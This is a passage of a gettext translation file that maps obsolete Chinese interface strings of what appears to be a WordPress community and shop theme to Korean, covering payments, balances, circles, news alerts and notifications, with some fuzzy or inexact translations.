#~ "주제 ID를 직접 입력하세요. 설정하지 않으면 기본적으로 주제가 설정되지 않습"
#~ "니다."

#~ msgid "财富设置"
#~ msgstr "부 설정"

#~ msgid "任务设置"
#~ msgstr "작업 설정"

#~ msgid "模板消息设置"
#~ msgstr "템플릿 메시지 설정"

#, fuzzy
#~| msgid "打赏"
#~ msgid "悬 赏"
#~ msgstr "팁"

#, php-format
#~ msgid "%s 回答"
#~ msgstr "%s 답변"

#, php-format
#~ msgid "%s 阅读"
#~ msgstr "%s 읽기"

#~ msgid "您支付费用，方可查看完整视频"
#~ msgstr "전체 동영상을 보려면 요금을 지불하십시오."

#, fuzzy, php-format
#~ msgid "您推广的%s被${from}购买了：${post_id}"
#~ msgstr "귀하의 프로모션 %s은(는) ${from}에 의해 구매되었습니다: ${post_id}"

#~ msgid "请输入昵称"
#~ msgstr "닉네임을 입력해 주세요."

#~ msgid "昵称中包含特殊字符，请重新填写"
#~ msgstr "닉네임에 특수 문자가 포함되어 있습니다. 다시 입력해 주세요."

#~ msgid "昵称已被注册了，请重新填写"
#~ msgstr "닉네임이 이미 등록 되었습니다. 다시 입력해 주세요."

#, fuzzy
#~ msgid "交易失败"
#~ msgstr "거래 실패"

#, fuzzy
#~ msgid "您申请了提现"
#~ msgstr "철회를 요청하셨습니다"

#~ msgid "码支付（不推荐）"
#~ msgstr "코드 지불(권장하지 않음)"

#~ msgid "xorpay支付（不推荐）"
#~ msgstr "xorpay 지불"

#~ msgid "易支付（不推荐）"
#~ msgstr "간편한 지불(권장하지 않음)"

#~ msgid "202支付（不推荐）"
#~ msgstr "202 지불(권장하지 않음)"

#~ msgid "随便付（不推荐）"
#~ msgstr "원하는 대로 지불(권장하지 않음)"

#~ msgid "payjs支付（不推荐）"
#~ msgstr "payjs 결제(권장하지 않음)"

#~ msgid "PayPal收款Email"
#~ msgstr "PayPal 수집 이메일"

#, fuzzy, php-format
#~ msgid ""
#~ "您的收款账户，通常为email%s需要特别注意的是，如果您的收款账户为中国大陆地"
#~ "区，则账户类型必须是企业。并且只能收取非中国大陆区的PayPal付款。%s"
#~ msgstr ""
#~ "수신 계정 (일반적으로 email  %s)은 특별한주의가 필요합니다. 수신 계정이 중"
#~ "국 본토에있는 경우 계정 유형은 enterprise 여야합니다. 중국 본토가 아닌 지"
#~ "역에서만 PayPal 결제를받을 수 있습니다. %에스"

#, fuzzy, php-format
#~ msgid "%s分类图标"
#~ msgstr "문서 분류 아이콘"

#~ msgid "中心"
#~ msgstr "검토 중..."

#, fuzzy, php-format
#~ msgid "加入%s后方可查看评论"
#~ msgstr "서클에 가입 한 후 댓글을 볼 수 있습니다."

#~ msgid "普通用户禁止访问"
#~ msgstr "일반 사용자 그룹"

#, fuzzy, php-format
#~ msgid ""
#~ "如果您未安装JWT（\t\n"
#~ "                JWT Authentication for WP-API）插件，%s请安装%s。如果JWT插"
#~ "件不是最新版，请%s升级到最新版%s"
#~ msgstr ""
#~ "JWT가 설치되어 있지 않은 경우(\n"
#~ "                WP-API용 JWT 인증) 플러그인, %s %s을(를) 설치하십시오. "
#~ "JWT 플러그인이 최신 버전이 아닌 경우 %s최신 버전으로 업그레이드%s하세요."

#~ msgid "余额不足"
#~ msgstr "잔액이 부족합니다."

#, fuzzy
#~ msgid "购买用户方可评论"
#~ msgstr "구매 사용자만 댓글을 남길 수 있습니다."

#~ msgid "余额支付"
#~ msgstr "잔액지불"

#, fuzzy
#~ msgid "回调成功，支付失败"
#~ msgstr "콜백 성공, 결제 실패"

#~ msgid "您没有权限删除此文章"
#~ msgstr "이 글를 삭제할 권한이 없습니다."

#~ msgid "不能删除已经发布的文章"
#~ msgstr "이미 게시된 글을 삭제할 수 없습니다."

#, fuzzy
#~ msgid "插入文章或商品或研究所"
#~ msgstr "기사, 제품 또는 연구 삽입"

#, fuzzy
#~ msgid "显示在%s首页顶部的图片，其他%标签的封面图，请前往%s设置"
#~ msgstr ""
#~ "알림 홈페이지 상단에 표시된 사진과 다른 알림 태그의 표지 이미지는 %s 설정"
#~ "으로 이동하세요."

#, fuzzy
#~ msgid "如果禁止投稿用户设置权限，将不会显示隐藏内容按钮"
#~ msgstr ""
#~ "제출 한 사용자의 권한 설정을 금지하면 숨겨진 콘텐츠 버튼이 표시되지 않습니"
#~ "다."

#, fuzzy
#~ msgid "请输入商品的ID，每个ID占一行，留空则不显示优惠劵信息"
#~ msgstr ""
#~ "제품 ID를 입력하세요. 각 ID는 한 줄을 차지합니다. 쿠폰 정보를 표시하지 않"
#~ "으려면 공백으로 두십시오."

#, fuzzy
#~ msgid "用户余额"
#~ msgstr "사용자 잔액"

#~ msgid "余额："
#~ msgstr "잔액："

#~ msgid "您当前的余额为"
#~ msgstr "현재 잔액은"

#, fuzzy
#~ msgid "充值余额"
#~ msgstr "충전 잔고"

#~ msgid "利好"
#~ msgstr "좋아요"

#~ msgid "余额记录"
#~ msgstr "잔액 기록"

#~ msgid "邀请码奖励"
#~ msgstr "초대장 보상"

#, php-format
#~ msgid "您使用了%s的邀请码进行注册"
#~ msgstr "%s 초대장을 사용하여 가입하셨습니다."

#~ msgid "评论被回复"
#~ msgstr "댓글에 답장 됨."

#, php-format
#~ msgid "%s等人回复了你在%s中的评论"
#~ msgstr "%s등 사용자가 %s에 댓글에 답장했습니다."

#~ msgid "发表评论"
#~ msgstr "댓글등록"

#, php-format
#~ msgid "您在%s中发表了评论"
#~ msgstr "%s에 댓글을 달았습니다."

#~ msgid "文章被评论"
#~ msgstr "기사에 댓글이 있습니다."

#, php-format
#~ msgid "%s在你的文章%s中发表了评论"
#~ msgstr "%s님이 당신의 기사%s에 댓글을 달았습니다."

#~ msgid "文章发布"
#~ msgstr "기사를 게시"

#, php-format
#~ msgid "您的文章已经发布：%s"
#~ msgstr "%s을 게시 했습니다."

#, php-format
#~ msgid "%s对你在%s中的评论%s"
#~ msgstr "%s님이 당신의 %s에 댓글을 %s"

#~ msgid "表示赞同"
#~ msgstr "추천 함"

#~ msgid "评论点踩"
#~ msgstr "추천하지 않음"

#~ msgid "不太赞同"
#~ msgstr "동의하지 않습니다."

#, php-format
#~ msgid "%s关注了你"
#~ msgstr "%s님이 당신을 구독했습니다."

#, php-format
#~ msgid "你关注%s"
#~ msgstr "%s을 구독했습니다."

#~ msgid "关注取消"
#~ msgstr "구독취소"

#, php-format
#~ msgid "你取消了对%s的关注"
#~ msgstr "%s님의 구독을 취소했습니다."

#~ msgid "签到奖励"
#~ msgstr "출석보상입니다."

#, php-format
#~ msgid "%s购买了你发布的视频 › %s"
#~ msgstr "%s가 등록한 동영상를 구입했습니다. › %s"

#, php-format
#~ msgid "%s购买了您发布的资源 › %s"
#~ msgstr "%s가 등록한 리소스를 구매했습니다. › %s"

#~ msgid "资源购买"
#~ msgstr "리소스 구매"

#, php-format
#~ msgid "您购买了资源 › %s"
#~ msgstr "리소스를 구매했습니다. › %s"

#, php-format
#~ msgid "%s%s你的文章 › %s"
#~ msgstr "%s%s당신의 기사 › %s"

#~ msgid "文章被踩"
#~ msgstr "내용을 좋아하지 않습니다."

#, php-format
#~ msgid "%s觉得你的文章不太符合他的胃口 › %s"
#~ msgstr "%s이 %s을 싫어합니다."

#~ msgid "内容购买"
#~ msgstr "콘텐츠 구매"

#, php-format
#~ msgid "%s购买了您发布的隐藏内容 › %s"
#~ msgstr "%s님이 당신이 등록한 숨겨진 컨텐츠를 구매했습니다. › %s"

#~ msgid "余额变更"
#~ msgstr "잔액 변경"

#, php-format
#~ msgid "%s购买了您发布的视频 › %s"
#~ msgstr "%s님이 등록한 동영상 %s을 구매 했습니다."

#, php-format
#~ msgid "您购买了%s发布的视频 › %s"
#~ msgstr "당신은 %s님이 등록한 동영상 %s을 구매 했습니다."

#, php-format
#~ msgid "您购买了%s发布的资源 › %s"
#~ msgstr "당신은 %s이 등록한  %s을 구매했습니다."

#, php-format
#~ msgid "您购买了%s发布的隐藏内容 › %s"
#~ msgstr "당신은 %s이 등록한 숨겨진 컨텐트 %s을 구매했습니다."

#~ msgid "被打赏"
#~ msgstr "팁을 받았습니다."

#, php-format
#~ msgid "%s打赏了你的文章 › %s"
#~ msgstr "%s님이 당신에게 팀을 줬습니다. › %s"

#, php-format
#~ msgid "您对文章作者进行了打赏 › %s"
#~ msgstr "당신은 글쓴이에게 보상을 주었습니다 › %s"

#, php-format
#~ msgid "您使用卡密进行了充值，卡号：%s"
#~ msgstr "비밀카드를 사용하여 충전했습니다. 카드 번호: %s"

#~ msgid "账户充值"
#~ msgstr "계정충전"

#~ msgid "您对账户进行了充值"
#~ msgstr "계정을 충전 했습니다."

#~ msgid "付费认证"
#~ msgstr "유료 인증"

#~ msgid "您购买了认证服务"
#~ msgstr "인증 서비스를 구입했습니다."

#~ msgid "认证积分奖励"
#~ msgstr "인증 포인트 보상"

#~ msgid "填坑成功"
#~ msgstr "채우기 성공"

#, php-format
#~ msgid "您购买了 › %s"
#~ msgstr "%s을 구매했습니다."

#~ msgid "使用优惠劵"
#~ msgstr "할인쿠폰 사용"

#, fuzzy, php-format
#~| msgid "您使用了优惠劵 › %s"
#~ msgid "您使用了优惠劵 › 优惠劵ID：%s"
#~ msgstr "할인 쿠폰을 사용했습니다.› %s"

#, php-format
#~ msgid "您使用积分购买了 › %s"
#~ msgstr "포인트를 사용하여 구매했습니다. › %s"

#, php-format
#~ msgid "您使用积分进行了抽奖 › %s"
#~ msgstr "포인트를 사용하여 추첨했습니다.› %s"

#, fuzzy, php-format
#~| msgid "您发布了快讯 › %s"
#~ msgid "您发布了%s › %s"
#~ msgstr "속보를 게시했습니다.› %s"

#~ msgid "一级分销分红"
#~ msgstr "1급 판매배당"

#, php-format
#~ msgid "%s购买了%s › %s"
#~ msgstr "%s님이 구매했습니다.%s › %s"

#~ msgid "二级分销分红"
#~ msgstr "3급 판매배당"

#~ msgid "三级分销分红"
#~ msgstr "3급 판매배당"

#~ msgid "分销支出"
#~ msgstr "배분지출"

#~ msgid "提现支出"
#~ msgstr "현금인출 수수료"

#, fuzzy, php-format
#~ msgid "付费加入%s（%s） › %s"
#~ msgstr "서클에 지불 ( %s)› %s"

#, fuzzy, php-format
#~ msgid "%s加入了您的付费%s（%s） › %s"
#~ msgstr "%s이 (가) 유료 서클 ( %s)에 가입했습니다.› %s"

#, fuzzy, php-format
#~ msgid "%s偷瞄了你的答案 › %s"
#~ msgstr "%s 님이 귀하의 답변을 살짝 엿 보았습니다.› %s"

#, fuzzy, php-format
#~ msgid "你偷瞄了 %s的答案 › %s"
#~ msgstr "%s의 답변을 엿 봤습니다.› %s"

#, fuzzy
#~ msgid "答案被采纳"
#~ msgstr "대답은 받아 들여진다"

#, fuzzy, php-format
#~ msgid "%s采纳了您的回答 › %s"
#~ msgstr "%s 님이 답변을 수락했습니다› %s"

#, fuzzy, php-format
#~ msgid "提问者没有采纳最佳答案，过期分红奖励 › %s"
#~ msgstr "질문자가 최상의 답변을 채택하지 않았습니다. 배당금 만료› %s"

#, fuzzy
#~ msgid "付费帖子被查看"
#~ msgstr "유료 게시물을 본다"

#, fuzzy, php-format
#~ msgid "%s查看了您的付费帖子 › %s"
#~ msgstr "%s 님이 귀하의 유료 게시물을 조회했습니다.› %s"

#, fuzzy
#~ msgid "查看了付费帖子"
#~ msgstr "유료 게시물 조회"

#, fuzzy, php-format
#~ msgid "您付费查看了隐藏帖子 › %s"
#~ msgstr "숨겨진 게시물을보기 위해 비용을 지불했습니다.› %s"

#, php-format
#~ msgid "当前余额%s"
#~ msgstr "현재 잔액 %s"

#~ msgid "系统消息"
#~ msgstr "메시지"

#, php-format
#~ msgid "%s等人回复了你的评论"
#~ msgstr "%s님 등이 당신의 댓글에 답장 했습니다."

#, php-format
#~ msgid "%s在你的文章中发表了评论"
#~ msgstr "%s님이 당신의 글에 댓글을 달았습니다."

#~ msgid "您的文章已经发布"
#~ msgstr "게시물이 게시되었습니다."

#, php-format
#~ msgid "%s对你的评论表示赞同"
#~ msgstr "%s님이 당신의 댓글을 찬성했습니다."

#, php-format
#~ msgid "%s不赞同你的评论"
#~ msgstr "%s님이 당신의 댓글을 반대했습니다."

#~ msgid "管理员对你的积分进行了变更"
#~ msgstr "관리자가 당신의 포인트를 변경했습니다."

#, php-format
#~ msgid "%s购买了你发布的视频"
#~ msgstr "%s님이 당신이 등록한 동영상을 구매했습니다."

#, php-format
#~ msgid "%s购买了您发布的资源"
#~ msgstr "%s님이 당신이 등록한 리소스를 구매했습니다."

#, php-format
#~ msgid "%s喜欢你的文章"
#~ msgstr "%s님이 당신의 글을 추천 했습니다."

#, php-format
#~ msgid "%s不喜欢你的文章"
#~ msgstr "%s님이 당신의 글을 비추천 했습니다."

#~ msgid "管理员对您的余额进行了变更"
#~ msgstr "관리자가 귀하의 잔액을 변경했습니다."

#, php-format
#~ msgid "%s购买了您发布的视频"
#~ msgstr "%s님이 등록한 동영상을 구매 하였습니다."

#, php-format
#~ msgid "您购买了%s发布的隐藏内容"
#~ msgstr "당신은%s이 등록한 숨겨진 컨텐트을 구매했습니다."

#, php-format
#~ msgid "%s打赏了你的文章"
#~ msgstr "%s님이 당신의 글을 보상 했습니다."

#, fuzzy, php-format
#~ msgid "%s采纳了您在提问中的回答"
#~ msgstr "%s 님이 질문에 대한 답변을 채택했습니다"

#, fuzzy
#~ msgid "被关小黑屋"
#~ msgstr "당신은 검은 방에 갇혀 있습니다"

#, fuzzy
#~ msgid "奖励金钱"
#~ msgstr "보상금"

#, fuzzy
#~ msgid "商品分类"
#~ msgstr "카테고리"

#, fuzzy
#~ msgid "搜索商品分类"
#~ msgstr "제품 카테고리 검색"

#, fuzzy
#~ msgid "所有商品分类"
#~ msgstr "모든 제품 카테고리"

#, fuzzy
#~ msgid "父级商品分类"
#~ msgstr "상위 카테고리"

#, fuzzy
#~ msgid "父级商品分类："
#~ msgstr "상위 카테고리:"

#, fuzzy
#~ msgid "编辑商品分类"
#~ msgstr "제품 카테고리 수정"

#, fuzzy
#~ msgid "更新商品分类"
#~ msgstr "제품 카테고리 업데이트"

#, fuzzy
#~ msgid "添加商品分类"
#~ msgstr "제품 카테고리 추가"

#, fuzzy
#~ msgid "商品分类名称"
#~ msgstr "상품 카테고리 이름"

#, fuzzy
#~ msgid "添加一个商品"
#~ msgstr "제품 추가"

#, fuzzy
#~ msgid "编辑商品"
#~ msgstr "제품 수정"

#, fuzzy
#~ msgid "新的商品"
#~ msgstr "새로운 제품"

#, fuzzy
#~ msgid "所有商品"
#~ msgstr "모든 상품"

#, fuzzy
#~ msgid "查看商品"
#~ msgstr "제품보기"

#, fuzzy
#~ msgid "搜索商品"
#~ msgstr "제품 검색"

#, fuzzy
#~ msgid "没有商品"
#~ msgstr "제품 없음"

#, fuzzy
#~ msgid "跨域"
#~ msgstr "교차 도메인"

#~ msgid "余额充值"
#~ msgstr "잔액 충전"

#~ msgid "圈子"
#~ msgstr "서클"

#, fuzzy
#~ msgid "圈子话题"
#~ msgstr "서클 주제"

#, fuzzy, php-format
#~ msgid "您已经创建过%s个圈子了!"
#~ msgstr "이미  %s 개의 서클을 만들었습니다!"

#, fuzzy
#~ msgid "请选择圈子类别"
#~ msgstr "서클 카테고리를 선택하세요"

#, fuzzy
#~ msgid "请设置圈子隐私"
#~ msgstr "서클 개인 정보를 설정하세요."

#, fuzzy
#~ msgid "请完善圈子资料"
#~ msgstr "서클 정보를 작성해주세요"

#, fuzzy
#~ msgid "请设置圈子标签"
#~ msgstr "서클 라벨을 설정하세요"

#, fuzzy
#~ msgid "没有圈子类别"
#~ msgstr "서클 카테고리 없음"

#, fuzzy
#~ msgid "请指定圈子的ID"
#~ msgstr "서클의 ID를 지정하세요."

#~ msgid "文档分类"
#~ msgstr "문서 분류"

#, fuzzy
#~ msgid "搜索文档分类"
#~ msgstr "문서 분류 검색"

#, fuzzy
#~ msgid "所有文档分类"
#~ msgstr "모든 문서 분류"

#, fuzzy
#~ msgid "父级文档分类"
#~ msgstr "상위 문서 분류"

#, fuzzy
#~ msgid "编辑文档分类"
#~ msgstr "문서 분류 편집"

#, fuzzy
#~ msgid "更新文档分类"
#~ msgstr "문서 분류 업데이트"

#, fuzzy
#~ msgid "添加文档分类"
#~ msgstr "문서 분류 추가"

#, fuzzy
#~ msgid "文档中心"
#~ msgstr "문서 센터"

#, fuzzy
#~ msgid "添加一个文档"
#~ msgstr "문서 추가"

#, fuzzy
#~ msgid "编辑文档"
#~ msgstr "문서 수정"

#, fuzzy
#~ msgid "新的文档"
#~ msgstr "새 문서"

#, fuzzy
#~ msgid "所有文档"
#~ msgstr "모든 문서"

#, fuzzy
#~ msgid "查看文档"
#~ msgstr "문서보기"

#, fuzzy
#~ msgid "搜索文档"
#~ msgstr "문서 검색"

#, fuzzy
#~ msgid "没有文档"
#~ msgstr "문서 없음"

#, fuzzy
#~ msgid "login"
#~ msgstr "로그인"

#, fuzzy
#~ msgid "快讯标签"
#~ msgstr "뉴스 탭"

#, fuzzy
#~ msgid "搜索快讯标签"
#~ msgstr "뉴스 레터 태그 검색"

#, fuzzy
#~ msgid "所有快讯标签"
#~ msgstr "모든 경고 탭"

#, fuzzy
#~ msgid "父级快讯标签"
#~ msgstr "부모 경고 레이블"

#, fuzzy
#~ msgid "编辑快讯标签"
#~ msgstr "경고 라벨 수정"

#, fuzzy
#~ msgid "更新快讯标签"
#~ msgstr "경고 레이블 업데이트"

#, fuzzy
#~ msgid "添加快讯标签"
#~ msgstr "경고 레이블 추가"

#~ msgid "快讯"
#~ msgstr "속보"

#~ msgid "添加一个快讯"
#~ msgstr "속보 추가"

#~ msgid "编辑快讯"
#~ msgstr "속보 편집"

#~ msgid "新的快讯"
#~ msgstr "새로운 속보"

#~ msgid "所有快讯"
#~ msgstr "전체 속보"

#~ msgid "查看快讯"
#~ msgstr "속보 보기"

#~ msgid "搜索快讯"
#~ msgstr "속보 검색"

#~ msgid "没有快讯"
#~ msgstr "속보가 없습니다."

#, fuzzy
#~ msgid "圈子设置"
#~ msgstr "서클 설정"

#, fuzzy
#~ msgid "圈子名称"
#~ msgstr "서클 이름"

#, fuzzy
#~ msgid "给圈子起一个你觉得合适的其他的名字，比如群组等"
#~ msgstr "그룹 등 적절하다고 생각되는 다른 이름을 서클에 지정합니다."

#, fuzzy
#~ msgid "圈子首页SEO关键词"
#~ msgstr "서클 홈페이지 SEO 키워드"

#, fuzzy
#~ msgid "圈子首页SEO描述"
#~ msgstr "서클 홈페이지 SEO 설명"

#, fuzzy
#~ msgid "圈子中每页显示多少个话题"
#~ msgstr "서클의 각 페이지에 표시되는 주제 수"

#, fuzzy
#~ msgid "圈子标签"
#~ msgstr "원형 라벨"

#, fuzzy, php-format
#~ msgid "创建话题和圈子的权限，请前往%s用户设置%s进行设置"
#~ msgstr ""
#~ "서클을 만들 수있는 권한입니다.  %s 사용자 설정  %s로 이동하여 설정하십시"
#~ "오."

#, fuzzy
#~ msgid "重建圈子数据"
#~ msgstr "원 데이터 재생성"

#, fuzzy
#~ msgid "文档首页"
#~ msgstr "문서 홈"

#, fuzzy
#~ msgid "是否启用文档功能"
#~ msgstr "문서 기능 활성화 여부"

#, fuzzy
#~ msgid "要显示的文档名称"
#~ msgstr "표시 할 문서의 이름"

#, fuzzy
#~ msgid "给文档起个名字，比如帮助中心、XXwiki等。"
#~ msgstr "도움말 센터, XXwiki 등과 같은 문서 이름을 지정합니다."

#, fuzzy
#~ msgid "文档首页SEO描述"
#~ msgstr "문서 홈 SEO 설명"

#, fuzzy
#~ msgid "允许筛选的专题"
#~ msgstr "필터링이 허용 된 주제"

#, fuzzy, php-format
#~ msgid "没有专题，请前往%s添加"
#~ msgstr "주제가 없습니다. 추가하려면  %s로 이동하세요."

#, fuzzy
#~ msgid "请确保您的专题别名不是中文，否则无法选中"
#~ msgstr ""
#~ "주제별 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
#~ "다."

#, fuzzy
#~ msgid "专题期数"
#~ msgstr "주제 기간"

#, fuzzy
#~ msgid "文档排序"
#~ msgstr "문서 정렬"

#, fuzzy
#~ msgid "常规菜单"
#~ msgstr "일반 메뉴"

#, fuzzy
#~ msgid "快讯首页"
#~ msgstr "뉴스 홈"

#, fuzzy
#~ msgid "快讯设置"
#~ msgstr "경고 설정"

#, fuzzy
#~ msgid "是否启用快讯功能"
#~ msgstr "경고 기능 활성화 여부"

#, fuzzy
#~ msgid "快讯名称"
#~ msgstr "경고 이름"

#, fuzzy
#~ msgid "您可以称此模块为快讯，或者新闻，或则其他你觉得合适的名称"
#~ msgstr ""
#~ "이 모듈을 뉴스 레터, 뉴스 또는 적절하다고 생각되는 다른 이름으로 부를 수 "
#~ "있습니다."

#, fuzzy
#~ msgid "快讯首页SEO描述"
#~ msgstr "뉴스 레터 홈페이지 SEO 설명"

#, fuzzy
#~ msgid "快讯首页SEO标签"
#~ msgstr "뉴스 레터 홈페이지 SEO 태그"

#, fuzzy
#~ msgid ""
#~ "如果允许此等级用户免费下载所有资源，可能会出现有人恶意采集的问题，在此设置"
#~ "允许每天下载的次数，可以有效防止。如果当天下载次数达到最大，将按照下载中设"
#~ "置的付费金额进行收费下载。"
#~ msgstr ""
#~ "이 수준의 사용자가 모든 리소스를 무료로 다운로드 할 수있는 경우 악성 수집"
#~ "의 문제가있을 수 있으며, 여기에서 하루 다운로드 허용 횟수를 설정하면 효과"
#~ "적으로 예방할 수 있습니다. 다운로드 횟수가 그날 최대치에 도달하면 다운로드"
#~ "에 설정된 결제 금액에 따라 다운로드 요금이 부과됩니다."

#, fuzzy
#~ msgid "允许投稿的专题"
#~ msgstr "제출이 허용 된 주제"

#, fuzzy
#~ msgid ""
#~ "请确保您的专题别名不是中文，否则无法选中，不选择将不显示专题设置的选项"
#~ msgstr ""
#~ "주제별 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
#~ "다. 선택하지 않으면 주제별 설정 옵션이 표시되지 않습니다."

#, fuzzy
#~ msgid "默认投稿的专题ID"
#~ msgstr "기본 제출의 주제 ID"

#, fuzzy
#~ msgid "202支付"
#~ msgstr "202 결제"

#~ msgid "发布快讯"
#~ msgstr "속보 발표"

#, fuzzy
#~ msgid "公告标题"
#~ msgstr "발표 제목"

#, fuzzy
#~ msgid "公告内容"
#~ msgstr "발표 내용"

#, fuzzy
#~ msgid "公告设置"
#~ msgstr "공지 설정"

#, fuzzy
#~ msgid "快讯来源地址"
#~ msgstr "경고 소스 주소"

#, fuzzy
#~ msgid "商品首页"
#~ msgstr "상품 홈"

#, fuzzy
#~ msgid "商铺设置"
#~ msgstr "스토어 설정"

#, fuzzy
#~ msgid "是否启用商铺"
#~ msgstr "상점 활성화 여부"

#, fuzzy
#~ msgid "商铺名称"
#~ msgstr "가게 명"

#, fuzzy
#~ msgid "给商铺取一个名字，比如小店、商城等。"
#~ msgstr "작은 상점, 쇼핑몰 등과 같이 상점 이름을 지정하십시오."

#, fuzzy
#~ msgid "商铺SEO关键词"
#~ msgstr "SEO 키워드 쇼핑"

#, fuzzy
#~ msgid "商铺SEO描述"
#~ msgstr "스토어 SEO 설명"

#, fuzzy
#~ msgid "商品价格"
#~ msgstr "상품 가격"

#, fuzzy
#~ msgid "正常价格"
#~ msgstr "정상 가격"

#, fuzzy
#~ msgid "商品总数"
#~ msgstr "총 제품 수"

#, fuzzy
#~ msgid "专题设置"
#~ msgstr "주제 설정"

#, fuzzy
#~ msgid "圈子类别"
#~ msgstr "서클 카테고리"

#, fuzzy
#~ msgid "圈子图标"
#~ msgstr "원형 아이콘"

#, fuzzy
#~ msgid "圈主"
#~ msgstr "서클 소유자"

#, fuzzy
#~ msgid "圈子形式"
#~ msgstr "원형 형태"

#, fuzzy
#~ msgid "免费圈子"
#~ msgstr "무료 서클"

#, fuzzy
#~ msgid "付费圈子"
#~ msgstr "유료 서클"

#, fuzzy
#~ msgid "专属圈子"
#~ msgstr "독점 서클"

#, fuzzy
#~ msgid "自由入圈"
#~ msgstr "무료 입장"

#, fuzzy
#~ msgid "请选择圈子隐私"
#~ msgstr "서클 개인 정보를 선택하세요."

#~ msgid "专题"
#~ msgstr "주제"

#, fuzzy
#~ msgid "专题样式"
#~ msgstr "주제별 스타일"

#, fuzzy
#~ msgid "专题缩略图比例"
#~ msgstr "주제별 축소판 비율"

#, fuzzy
#~ msgid "打赏文字"
#~ msgstr "보상 텍스트"

#, fuzzy, php-format
#~ msgid ""
#~ "可以使用图标字体或者图片,每个连接占一行，最好不超过3个，否则放不下。比如："
#~ "%s"
#~ msgstr ""
#~ "아이콘 글꼴이나 그림을 사용할 수 있습니다. 각 연결은 한 줄을 차지하며, 바"
#~ "람직하게는 3 개 이하입니다. 그렇지 않으면 맞지 않습니다. 예를 들어"

#~ msgid "所有圈子"
#~ msgstr "전체 서클"

#, fuzzy
#~ msgid "退出登陆"
#~ msgstr "로그 아웃"

#, php-format
#~ msgid "专题：第%s期"
#~ msgstr "주제: 제%s기"

#, php-format
#~ msgid "专题：第%s%s%s期"
#~ msgstr "주제：제%s%s%s기"

#~ msgid "公告"
#~ msgstr "공고"

#, fuzzy
#~ msgid "添加一个公告"
#~ msgstr "공지 사항 추가"

#, fuzzy
#~ msgid "编辑公告"
#~ msgstr "공지 사항 수정"

#, fuzzy
#~ msgid "新的公告"
#~ msgstr "새로운 발표"

#, fuzzy
#~ msgid "所有公告"
#~ msgstr "모든 공지"

#, fuzzy
#~ msgid "查看公告"
#~ msgstr "공지 사항보기"

#, fuzzy
#~ msgid "搜索公告"
#~ msgstr "검색 공지"

#, fuzzy
#~ msgid "没有公告"
#~ msgstr "발표 없음"

#~ msgid "搜索专题"
#~ msgstr "주제 검색"

#~ msgid "所有专题"
#~ msgstr "전체 주제"

#, fuzzy
#~ msgid "父级专题"
#~ msgstr "상위 주제"

#~ msgid "编辑专题"
#~ msgstr "주제 편집"

#~ msgid "更新专题"
#~ msgstr "주제 업데이트"

#~ msgid "添加专题"
#~ msgstr "주제 추가"

#~ msgid "专题名称"
#~ msgstr "주제 제목"

#~ msgid "您有每天免费下载所有资源"
#~ msgstr "매일 모든 파일을 다운로드 할수 있습니다."

#, fuzzy
#~ msgid "给TA买糖"
#~ msgstr "TA를 위해 설탕 구매"

#~ msgid "人已赞赏"
#~ msgstr "명이 팁을 줬습니다."

#~ msgid "已售"
#~ msgstr "판매:"

#, fuzzy
#~ msgid "买糖"
#~ msgstr "설탕 구매"

#, fuzzy
#~ msgid "字母或数字的组合"
#~ msgstr "문자 또는 숫자의 조합"

#, fuzzy
#~ msgid "B2-圈子信息"
#~ msgstr "B2- 서클 정보"

#, fuzzy
#~ msgid "创建圈子"
#~ msgstr "서클 만들기"

#, fuzzy
#~ msgid "热门圈子"
#~ msgstr "인기 서클"

#, fuzzy
#~ msgid "个圈友"
#~ msgstr "서클 친구"

#, fuzzy
#~ msgid "B2-快讯小工具"
#~ msgstr "B2- 뉴스 가젯"

#, fuzzy
#~ msgid "推荐圈子"
#~ msgstr "추천 서클"

#, fuzzy
#~ msgid "推荐圈子的ID"
#~ msgstr "추천 서클의 ID"

#, fuzzy
#~| msgid "公告"
#~ msgid "公告："
#~ msgstr "공고"

#, fuzzy
#~ msgid "全部公告"
#~ msgstr "모든 공지"

#, fuzzy
#~ msgid "私密圈子"
#~ msgstr "비공개 서클"

#, fuzzy
#~ msgid "（圈主）"
#~ msgstr "(리더)"

#, fuzzy, php-format
#~ msgid "%s个圈友"
#~ msgstr "%s 친구"

#, fuzzy
#~ msgid "请设置一下模块的key"
#~ msgstr "유형을 설정하십시오"

#, fuzzy
#~ msgid "圈子类型"
#~ msgstr "원형 유형"

#, fuzzy
#~ msgid "入圈规则"
#~ msgstr "입장 규칙"

#, fuzzy
#~ msgid "用户需要圈主审核入圈"
#~ msgstr "사용자는 서클을 검토하고 입력하려면 리더가 필요합니다."

#, fuzzy
#~ msgid "圈子隐私"
#~ msgstr "서클 개인 정보 보호"

#, fuzzy
#~ msgid "圈子资料"
#~ msgstr "서클 프로필"

#, fuzzy
#~ msgid "圈子简介"
#~ msgstr "서클 소개"

#~ msgid "更多..."
#~ msgstr "더 많은..."

#, fuzzy
#~ msgid "(圈主)"
#~ msgstr "(소유자)"

#, fuzzy
#~ msgid "圈友"
#~ msgstr "서클 친구"

#, fuzzy
#~ msgid "提交入圈申请"
#~ msgstr "지원서 제출"

#, fuzzy
#~ msgid "本圈专属"
#~ msgstr "이 서클 전용"

#, fuzzy
#~ msgid "加入的圈子"
#~ msgstr "가입 한 서클"

#, fuzzy
#~ msgid "创建的圈子"
#~ msgstr "서클이 생성되었습니다."

#, fuzzy
#~ msgid "该圈子下没有话题"
#~ msgstr "이 서클에는 주제가 없습니다."

#~ msgid "发布的快讯"
#~ msgstr "속보"

#~ msgid "收藏的快讯"
#~ msgstr "속보"

#~ msgid "收藏的快讯数量"
#~ msgstr "찜한 속보"

#~ msgid "最新文档"
#~ msgstr "최신 문서"

#, fuzzy
#~ msgid "商铺页面菜单"
#~ msgstr "상점 페이지 메뉴"

#, fuzzy
#~ msgid "圈子页面菜单"
#~ msgstr "경고 페이지 메뉴"

#, fuzzy
#~ msgid "圈子内页小工具"
#~ msgstr "뉴스 레터 페이지 위젯"

#, fuzzy
#~ msgid "公告列表"
#~ msgstr "발표 목록"

#~ msgid "专题中心"
#~ msgstr "주제"

#, fuzzy
#~ msgid "圈子管理"
#~ msgstr "서클 관리"

#, fuzzy
#~ msgid "没有权限下载，请升级会员！"
#~ msgstr "다운로드 권한이 없습니다. 회원을 업그레이드하세요!"

#, fuzzy
#~ msgid "快讯发布成功"
#~ msgstr "뉴스 레터가 성공적으로 발행되었습니다"

#, fuzzy
#~ msgid "圈子发帖"
#~ msgstr "서클 포스트"

#, fuzzy
